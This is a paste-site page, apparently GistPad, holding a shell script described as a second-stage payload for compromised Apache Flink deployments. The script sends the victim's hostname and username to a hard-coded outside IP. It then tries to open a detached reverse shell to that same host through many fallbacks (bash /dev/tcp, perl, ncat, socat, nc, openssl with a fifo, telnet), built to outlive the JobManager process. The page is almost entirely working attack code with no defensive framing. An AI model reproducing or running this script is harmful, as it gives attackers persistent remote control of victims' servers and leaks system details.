Not a member of GistPad yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- # flink-payload-server stage-2 : beacon + reverse shell (Flink-image ranked)
- _rhost="41.249.150.137"; _rport="4999"; _id="${1:-ALNK}"
- log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
- beacon(){
- if command -v curl >/dev/null 2>&1; then
- curl -s -m 8 "http://41.249.150.137:4999/beacon?h=$(hostname)&u=$(id -un)&id=$_id&t=$(date +%s)" >/dev/null 2>&1
- elif command -v wget >/dev/null 2>&1; then
- wget -qO/dev/null "http://41.249.150.137:4999/beacon?h=$(hostname)&u=$(id -un)&id=$_id&t=$(date +%s)" >/dev/null 2>&1
- fi
- }
- beacon
- log "revshell: $_rhost:$_rport (id=$_id)"
- # --- 1) bash /dev/tcp (Flink images always ship bash) ---
- # Detach with setsid + </dev/null + disown so the shell SURVIVES both the
- # JobManager JVM exit (System.exit kills the process group otherwise) and the
- # parent sh terminating when the pipeline ends.
- if command -v bash >/dev/null 2>&1; then
- log "backend: bash /dev/tcp"
- if command -v setsid >/dev/null 2>&1; then
- setsid bash -c "exec 3<>/dev/tcp/$_rhost/$_rport; /bin/bash -i <&3 >&3 2>&3" </dev/null >/dev/null 2>&1 &
- else
- bash -c "exec 3<>/dev/tcp/$_rhost/$_rport; /bin/bash -i <&3 >&3 2>&3" </dev/null >/dev/null 2>&1 &
- fi
- shpid=$!
- disown $shpid 2>/dev/null
- # if bash died quickly (no listener), fall through to next backend
- sleep 3
- kill -0 $shpid 2>/dev/null && exit 0
- wait $shpid 2>/dev/null
- fi
- # --- 2) perl (present on both verified Flink images) ---
- if command -v perl >/dev/null 2>&1; then
- log "backend: perl"
- if command -v setsid >/dev/null 2>&1; then
- setsid perl -MIO::Socket::INET -e '
- my ($h,$p)=@ARGV;
- for (1..30){
- eval {
- my $s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp",Timeout=>2) or die;
- open(STDIN,">&".$s->fileno); open(STDOUT,">&".$s->fileno); open(STDERR,">&".$s->fileno);
- exec("/bin/sh","-i");
- };
- sleep 1;
- }
- ' $_rhost $_rport </dev/null >/dev/null 2>&1 &
- else
- perl -MIO::Socket::INET -e '
- my ($h,$p)=@ARGV;
- for (1..30){
- eval {
- my $s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp",Timeout=>2) or die;
- open(STDIN,">&".$s->fileno); open(STDOUT,">&".$s->fileno); open(STDERR,">&".$s->fileno);
- exec("/bin/sh","-i");
- };
- sleep 1;
- }
- ' $_rhost $_rport </dev/null >/dev/null 2>&1 &
- fi
- shpid=$!
- disown $shpid 2>/dev/null
- sleep 3
- kill -0 $shpid 2>/dev/null && exit 0
- wait $shpid 2>/dev/null
- fi
- # --- 3) nc / ncat / socat ---
- for cmd in ncat socat; do
- if command -v $cmd >/dev/null 2>&1; then
- log "backend: $cmd"
- for i in 1 2 3 4 5 6 7 8 9 10; do
- if [ "$cmd" = "ncat" ]; then
- ncat $_rhost $_rport -e /bin/sh 2>/dev/null && exit 0
- else
- socat TCP4:$_rhost:$_rport EXEC:/bin/sh,pty,stderr,setsid,sigint,sane 2>/dev/null && exit 0
- fi
- sleep 1
- done
- exit 0
- fi
- done
- if command -v nc >/dev/null 2>&1; then
- log "backend: nc"
- for i in 1 2 3 4 5 6 7 8 9 10; do
- nc $_rhost $_rport -e /bin/sh 2>/dev/null && exit 0
- sleep 1
- done
- exit 0
- fi
- # --- 4) perl one-liner dup2 (alternative paths) ---
- if command -v perl >/dev/null 2>&1; then
- log "backend: perl-lite"
- perl -e 'use Socket; $p=$ARGV[1]; $h=$ARGV[0]; for(1..10){ socket(S,PF_INET,SOCK_STREAM,6); connect(S,sockaddr_in($p,inet_aton($h))) && (dup2(fileno(S),0),dup2(fileno(S),1),dup2(fileno(S),2),exec("/bin/sh","-i")); sleep 1 }' $_rhost $_rport 2>/dev/null
- exit 0
- fi
- # --- 5) openssl + fifo ---
- if command -v openssl >/dev/null 2>&1; then
- log "backend: openssl"
- for i in 1 2 3; do
- rm -f /tmp/.f$$ && mkfifo /tmp/.f$$ && (cat /tmp/.f$$ | /bin/sh -i 2>&1 | openssl s_client -quiet -connect $_rhost:$_rport > /tmp/.f$$ 2>/dev/null &) ; sleep 2
- rm -f /tmp/.f$$
- done
- exit 0
- fi
- # --- 6) telnet ---
- if command -v telnet >/dev/null 2>&1; then
- log "backend: telnet"
- telnet $_rhost $_rport </dev/null >/dev/null 2>&1 &
- exit 0
- fi
- log "no revshell backend available"
RAW Paste Data
Copied
